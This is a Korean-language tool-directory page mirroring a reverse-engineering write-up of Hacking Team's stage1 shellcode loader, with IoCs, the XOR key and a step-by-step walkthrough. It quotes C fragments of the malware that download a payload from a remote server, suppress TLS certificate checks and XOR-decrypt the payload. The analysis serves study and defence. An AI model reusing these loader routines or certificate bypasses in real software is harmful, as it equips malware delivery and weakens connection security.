Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Analysis-for-stage1-shellcode-loader-from-hacking- — Analysis for stage1 shellcode loader from hacking | Kitploit
도구/GitHubGitHub/spiralbl0ck/analysis-for-stage1-shellcode-loader-from-hacking-
Reverse EngineeringShellcodeMalware AnalysisBinary AnalysisLearning & Education
GitHubspiralbl0ck/analysis-for-stage1-shellcode-loader-from-hacking-

Analysis-for-stage1-shellcode-loader-from-hacking-

Analysis for stage1 shellcode loader from hacking

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
311년 전아직 검토되지 않음

hacking team의 stage1 셸코드 로더 분석

코드 순서도

네트워크 IoC

https://172\[.]20\[.]20\[.]164

root@kitploit:~
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)

감염 IoC(드롭된 파일)

2s5s7k8w8b4i.dat

9z8o5d9l0p6c.dat

좋아, 이게 대체 뭐지. 시작해보자. Loader.sln이나 loader.c부터.

좋아, startup이 있고 startup에서 asm으로 간다. asm에서는 뭐가 일어날까? PIC(위치 독립 코드, position independent code) 셸코드다. 멋지다. 그리고 이건 뭘 할까? 기본적으로 Loader(0xdeadbeef)를 호출한다. 왜? 그 주소를 왜 골랐는지는 모르겠지만, 그 주소에는 언패킹된 코드가 있어야 한다. 어쨌든 계속 진행해서 디버거에서 무슨 일이 일어나는지 보자. 정정: 우리는 Loader(eax)를 호출한다. eax는 .dat 파일이 있는 IP 주소다.

이제 흐름을 따라가면 loader로 들어간다.

지금은 LoadVtable을 건너뛰자. 그것은 어디에나 있고(ubiquitous) 크기가 크기 때문이다. 나머지 기능들을 분석한 후에 다시 돌아올 것이다. 이제 DownloadAndDecryptTls를 살펴보자.

DownloadAndDecryptTls

이제 디버깅 중 알게 된 재미있는 점 하나.

위 이미지와 다음 스니펫에서 볼 수 있듯이,

root@kitploit:~
DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent, 
		lpLoaderConfig->strUrl, 
		&dwFileSize, 
		lpLoaderConfig->dwXorKey, 
		lpLoaderConfig->dwXorKey ? TRUE : FALSE); 

lpLoaderConfig가 동적으로 검색된다는 점이다. 그런데 어디서? 글쎄, 아마도 그 .dat 파일을 다운로드하거나 내부적으로 사용하는 것 같다. 그리고 그 .dat 파일이 뭔지. 아카이브를 살펴보면

shellcode_0x95d라는 또 다른 멋진 파일이 보인다. HxD로 살펴보면

API 호출 몇 개와 그 URL이 보일 것이다. 그러니 기본적으로 이게 실제 셸코드다 :) 쩐다. 이걸 끝내고 나서 그것도 살펴볼 것이다.

참고로 나중을 위해, XOR 키는 0x6281f17f다. 이제 흥미로운 지점인 ValidateCa까지 간단히 분석해보자. 그 지점까지 이 함수에서는 특별한 일이 없다. 가장 흥미로운 것은 InternetOpenA 호출인데, 이는 네트워킹 관련 DLL을 초기화한다. 그들이 쓴 한 가지 트릭을 보려면 동적으로 분석해보는 것이 좋겠다. 그들은 C 코드에서 이렇게 한다.

hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

API의 인자 수보다 하나가 적다. 어쨌든 말은 여기까지 하고 코드에서 무슨 일이 일어나는지 보자.

디버거에서는 이렇게 보인다.

내 생각에 여기서 일어나는 일은, INTERNET_OPEN_TYPE_PRECONFIG를 사용하기 때문에 미리 구성된 구조체를 사용하고, lptable에는 이미 URL이 들어 있다는 것이다.

어쨌든 다음은 ValidateCA다.

어쨌든 왜 이걸 하느냐면, 단순히 https를 쓸지 http를 쓸지 결정하기 위해서다.

root@kitploit:~
DWORD dwHttpsFlag = 0;

if( ValidateCA(lpTable) )
	dwHttpsFlag = INTERNET_FLAG_SECURE;
else
	dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;

그런 다음 간단한 GET 요청을 하고 http에서 파일을 다운로드한다. 여기서 특별할 건 없다. 이 코드에 특별한 점이 있는지 궁금하다면, 내 생각엔 아마 없을 것이다. 인터넷에서 이런 작업을 수행하는 예제를 찾을 수 있을 것이다. DownloadFile 함수는 어떻게 파일을 다운로드할까? InternetReadFileExA를 사용한다.

어쨌든 여기 코드가 있다.

root@kitploit:~
if( hOpen )
	{
		hConnect = lpTable->fpInternetConnect(hOpen,  serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );

		if( hConnect )
		{
			hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );

			if( hReq )
			{

			if( !ValidateCA(lpTable) )
			{
				DWORD dwFlags;
				dwBuffLen = sizeof(dwFlags);	
				lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
				dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
				lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
			}

				if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
				{
					dwBuffLen = 16;
					dwIdx = 0;

					lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
					*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);

					LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);			
					if (DownloadFile(lpTable, hReq, lpFileBuffer, *dwFileLen))
					{
						if (bXored)
							lpPayload = Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);
						else
							lpPayload = lpFileBuffer;
					}
					
				} // if( lpTable->fpHttpSendRequest )
			} // if( hReq )
		} // if( hConnect )
	} // if( hOpen )


	/* close handles */
	if( hReq )
		lpTable->fpInternetCloseHandle(hReq);
	if( hConnect)
		lpTable->fpInternetCloseHandle(hConnect);
	if( hOpen)
		lpTable->fpInternetCloseHandle(hOpen);

	return lpPayload;

이제 복호화 if 검사를 살펴보면서 복호화 함수에 들어가는지 확인해보자. 실험할 때의 내 가정에 따르면 bXored가 true가 되어 복호화 함수에 들어가야 한다. 불행히도 우리의 가정은 틀렸다. 왜냐하면

root@kitploit:~
lpTable->fpHttpSendRequest is being used in the id not bXored and since the server is down

그 악성 서버에 요청을 보낼 수 없을 것이기 때문이다. frida로 서버를 에뮬레이션할 수도 있지만, 어차피 우리는 이미 페이로드를 가지고 있는데 무슨 소용이 있겠는가. 이제 남은 것은 디스어셈블해서 암호화되었는지 여부를 결정하는 것뿐이다. 또한 복호화는 이렇게 생겼다.

root@kitploit:~
LPDWORD lpD = (LPDWORD) lpBuffer;
LPBYTE lpB = (LPBYTE) lpBuffer;

for (UINT i=0; i<dwBuffLen/4; i++)
	lpD[i] ^= dwXorKey;
for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)
	lpB[i] ^= 0x41;

return lpBuffer;

2-키 XOR이며 dwXorKey는 0x6281f17f다.

이제 Loader 함수로 돌아가서 로더의 마지막 부분을 해결하자.

도구 다운로드